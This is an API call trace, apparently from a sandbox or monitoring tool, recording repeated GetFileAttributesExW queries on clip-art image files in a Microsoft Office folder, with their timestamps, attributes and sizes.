	[0051.541] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274fe58 | out: lpFileInformation=0x1274fe58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x931a)) returned 1
	[0051.541] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274fea8 | out: lpFileInformation=0x1274fea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80d8)) returned 1
	[0051.541] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274fef8 | out: lpFileInformation=0x1274fef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc6d2)) returned 1
	[0051.542] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274ff48 | out: lpFileInformation=0x1274ff48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcd10)) returned 1
	[0051.542] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274ff98 | out: lpFileInformation=0x1274ff98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa80c)) returned 1
	[0051.542] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd6bc)) returned 1
	[0051.542] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82369200, ftCreationTime.dwHighDateTime=0x1bf58e6, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82369200, ftLastWriteTime.dwHighDateTime=0x1bf58e6, nFileSizeHigh=0x0, nFileSizeLow=0x89a4)) returned 1
	[0051.543] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fc0f8 | out: lpFileInformation=0x123fc0f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6d41000, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6d41000, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x42d1)) returned 1
	[0051.543] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x3e91)) returned 1
	[0051.543] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x43c5)) returned 1
	[0051.544] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fc1e8 | out: lpFileInformation=0x123fc1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x8d86)) returned 1
	[0051.544] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fc238 | out: lpFileInformation=0x123fc238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d21)) returned 1
	[0051.544] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fc288 | out: lpFileInformation=0x123fc288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9e8a)) returned 1
	[0051.544] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fc2d8 | out: lpFileInformation=0x123fc2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2590)) returned 1
	[0051.545] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fc328 | out: lpFileInformation=0x123fc328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x20e4)) returned 1
	[0051.545] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fc378 | out: lpFileInformation=0x123fc378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7aa6)) returned 1
	[0051.546] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fc3c8 | out: lpFileInformation=0x123fc3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b64)) returned 1
	[0051.546] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fc418 | out: lpFileInformation=0x123fc418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3658)) returned 1
	[0051.546] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fc468 | out: lpFileInformation=0x123fc468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b56)) returned 1
	[0051.547] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fc4b8 | out: lpFileInformation=0x123fc4b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12a6)) returned 1
	[0051.547] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fc508 | out: lpFileInformation=0x123fc508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17be)) returned 1
	[0051.547] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fc558 | out: lpFileInformation=0x123fc558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37de)) returned 1
	[0051.548] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fc5a8 | out: lpFileInformation=0x123fc5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6180)) returned 1
	[0051.548] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fc5f8 | out: lpFileInformation=0x123fc5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21b2)) returned 1
	[0051.548] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fc648 | out: lpFileInformation=0x123fc648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe42c)) returned 1
	[0051.549] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fc698 | out: lpFileInformation=0x123fc698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1088e)) returned 1
	[0051.549] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fc6e8 | out: lpFileInformation=0x123fc6e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x107ec)) returned 1
	[0051.549] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fc738 | out: lpFileInformation=0x123fc738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x59ce)) returned 1
	[0051.550] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fc788 | out: lpFileInformation=0x123fc788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d24)) returned 1
	[0051.550] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fc7d8 | out: lpFileInformation=0x123fc7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4236)) returned 1
	[0051.550] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fc828 | out: lpFileInformation=0x123fc828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c9c)) returned 1
	[0051.550] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fc878 | out: lpFileInformation=0x123fc878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x493e)) returned 1
	[0051.551] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fc8c8 | out: lpFileInformation=0x123fc8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4960)) returned 1
	[0051.551] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fc918 | out: lpFileInformation=0x123fc918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566ffef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4584)) returned 1
	[0051.552] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fc968 | out: lpFileInformation=0x123fc968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66f5700, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0x566ffef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf66f5700, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0x2b0e)) returned 1
	[0051.552] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fc9b8 | out: lpFileInformation=0x123fc9b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab7300, ftCreationTime.dwHighDateTime=0x1bf4a6c, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ab7300, ftLastWriteTime.dwHighDateTime=0x1bf4a6c, nFileSizeHigh=0x0, nFileSizeLow=0x2ae8)) returned 1
	[0051.552] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fca08 | out: lpFileInformation=0x123fca08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4a5a)) returned 1
	[0051.553] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fca58 | out: lpFileInformation=0x123fca58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4dfa)) returned 1
	[0051.553] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fcaa8 | out: lpFileInformation=0x123fcaa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe20)) returned 1
	[0051.553] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fcaf8 | out: lpFileInformation=0x123fcaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x103e)) returned 1
	[0051.553] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fcb48 | out: lpFileInformation=0x123fcb48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4a0e)) returned 1
